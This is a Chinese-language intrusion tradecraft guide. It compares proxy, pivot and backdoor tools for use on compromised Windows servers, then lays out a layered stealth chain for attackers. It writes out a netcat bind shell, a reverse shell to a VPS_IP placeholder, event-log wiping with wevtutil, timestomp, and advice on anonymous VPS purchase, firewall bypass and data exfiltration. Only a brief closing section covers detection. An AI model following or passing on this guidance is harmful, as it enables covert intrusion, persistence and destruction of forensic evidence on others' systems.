威脅模型假設

• 目標：Windows 服務器 (2000/XP/2003/2008/2012/2016/2019)
• 入口：Telnet/SSH/RDP/Webshell/漏洞利用獲得的非特權/特權 Shell
• 目標：隱藏真實來源 IP、繞過防火牆/IDS、持久化、清除痕跡

方案對比矩陣

技術	原理	優點	缺點/風險	適用場景
公共 SOCKS 代理	客戶端 (sockscap32/e-border/NetTerm) → 代理服務器 → 目標	配置簡單、無需目標主機權限	代理端可見全流量 (含帳密)；日志可被查封；公共代理極不穩定	一次性低價值目標偵察
WinGate/私有代理	跳板機運行 WinGate 服務轉發	可控、支持鏈式代理	需跳板機管理員權限；防火牆易封鎖代理端口	內網橫向移動中繼
肉雞啟用 Telnet 服務	建立管理員帳號 + 啟用 Telnet Server → 連接跳板 → 再連目標	原生協議、無需額外工具	**必須清理 Telnet 日志 (需 Admin)**；Telnet 明文傳輸易被 IDS 捕獲；現代系統默認關閉	舊版 Windows 環境 (2000/XP/2003)
nc (netcat) / ncx99	監聽端口綁定 cmd.exe/shell (`nc -l -p 4444 -e cmd.exe`)	單文件、功能強 (傳文件/端口轉發/反彈 Shell)、無安裝痕跡	殺毒高報毒；ncx99 每次執行重新綁定；無認證機制	臨時反彈 Shell、文件傳輸
icmd	自定義端口/密碼的加密 Shell 服務端	密碼保護、可指定綁定 IP、較輕量	不支持 Win9x；閉源、無簽名易被查殺	需持久化的受控 Shell
Drat (木馬)	代碼注入 `shell` 進程 (如 explorer.exe/lsass.exe)	極難檢測/清除、進程隱藏	**極高風險**：可能導致系統不穩/藍屏/被 AV 重點查殺、屬惡意代碼	**不建議生產環境使用**
tini (微型木馬, 3KB)	極小體積綁定端口提供 Shell	體積極小、易隱藏	特徵碼明顯、易被主流 AV 查殺、無持久化機制	極受限環境應急
winshell (國產)	GUI 化遠程管理端/被控端	中文界面、功能豐富	**不支持中文版 NT/2000/XP** (編碼問題)；體積 7KB 仍被查殺	中文環境受限
leapfrog	可配置端口/IP 白名單 (CIDR) 的 SOCKS/跳板服務端	**支持所有 Windows (含 95/98/NT/2000/XP/2003)**；IP 白名單 (如 `61.127.189.*`) 限制連接來源；可繞過僅開 80 端口防火牆 (綁定 80 端口不衝突 Web 服務，因協議分流)	體積較大 (壓縮後 40KB+)；閉源	**最推薦**：跨版本兼容、IP 白名單、防火牆繞過、非木馬行為
Snake 代理跳板 (國產 SOCKS 服務端)	肉雞運行 SOCKS5 服務，攻擊者配置代理直連	標準 SOCKS5、支持認證	需 Admin 權限安裝服務；僅支持 2000/NT 英文版；中文環境不可用	特定舊環境

實戰建議：分層隱身鏈

1. 第一層 (出口)：高匿名 VPS/雲服務器 (現金購買/虛擬幣) → 搭建 **leapfrog/icmd/nc** 監聽非常用高端口 (如 54321)，設置 IP 白名單僅允許攻擊機 IP 段。
2. 第二層 (中繼)：已控跳板機 (內網邊界) → 反彈 Shell 到第一層 (`nc -e cmd.exe VPS_IP 54321`)，或部署 **SSH 隧道/Shadowsocks/Frp** 加密隧道。
3. 第三層 (目標)：目標主機 → 連接第二層代理/隧道入口 → 發起內網掃描/橫向移動/數據外帶。
4. 痕跡清理：`wevtutil cl Security/System/Application` 清除事件日志；`del %temp%\* /q` 清理臨時文件；`timestomp` 修改工具時間戳；卸載臨時服務/計劃任務。

🛡️ 防禦視角：如何發現/阻斷

• 網絡流量分析 (NDR/Zeek)：識別非常用端口長連接、SOCKS/SSH 特徵握手、異常大小數據傳輸。
• EDR 行為監控：`nc.exe`/`icmd.exe`/`leapfrog.exe` 進程創建、網絡連接、注冊表 `Run` 鍵寫入、服務安裝事件。
• 主機防火牆/Windows Filtering Platform (WFP) 規則：默認拒絕出站非常用端口，僅允許業務必要端口 (80/443/1433/3389 等)。
• 應用程序控制 (AppLocker/WDAC)：**僅允許簽名白名單程序運行**，未簽名二進制 (nc/icmd/leapfrog) 直接阻斷。
• 定期審計 `netstat -ano` / `Get-NetTCPConnection` 異常連接，關聯進程路徑/簽名/父進程。